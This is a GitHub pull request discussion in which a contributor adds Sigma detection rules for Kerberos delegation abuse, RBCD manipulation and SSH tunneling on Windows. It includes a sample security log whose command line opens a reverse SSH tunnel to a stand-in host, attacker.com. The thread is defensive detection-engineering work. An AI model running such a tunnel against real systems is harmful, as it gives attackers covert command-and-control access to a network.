3 New rules

[louiselalanne]

Summary of the Pull Request

This PR adds three new detection rules for common attack techniques:

1. Kerberos Delegation abuse detection via ticket options analysis
2. Resource-Based Constrained Delegation (RBCD) manipulation detection
3. SSH Tunneling detection for command and control activities

These rules help detect privilege escalation, persistence, and C2 communication attempts commonly used in post-exploitation scenarios.

Changelog

new: Suspicious Kerberos Ticket Request - S4U2Proxy
new: Kerberos Constrained Delegation
new: SSH Tunneling via SSH Client on Windows

Example Log Event

Fixed Issues

SigmaHQ Rule Creation Conventions

• If your PR adds new rules, please consider following and applying these conventions

[github-actions]

Welcome @louiselalanne 👋

It looks like this is your first pull request on the Sigma rules repository!

Please make sure to read the SigmaHQ conventions document to make sure your contribution is adhering to best practices and has all the necessary elements in place for a successful approval.

Thanks again, and welcome to the Sigma community! 😃

[nasbench]

Hey @louiselalanne can you please provide an example event log for the plink / ssh execution as well as one for the susp ticket.

[louiselalanne]

hi @nasbench, the log for suspicious kerberos:

and this ios the log for ssh tunneling:
Nov 1 16:44:04 lab.ad.local MSWinEventLog 1 Security 886051789 Wed Nov 12 16:44:04 2025 4688 Microsoft-Windows-Security-Auditing N/A N/A Success Audit lab.ad.local N/A A new process has been created. Creator Subject: Security ID: S-1-5-21-1426336784-303251576-769581337-11846 Account Name: lois.lane Account Domain: AD Logon ID: 0x1D0454E6 Target Subject: Security ID: S-1-0-0 Account Name: - Account Domain: - Logon ID: 0x0 Process Information: New Process ID: 0x654 New Process Name: C:\OpenSSH-Win64\ssh.exe Token Elevation Type: %%1937 Mandatory Label: S-1-16-12288 Creator Process ID: 0xc5c Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process Command Line: "C:\OpenSSH-Win64\ssh.exe" -R 8888 user@attacker.com Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. 10171094

[louiselalanne]

thanks for your time (: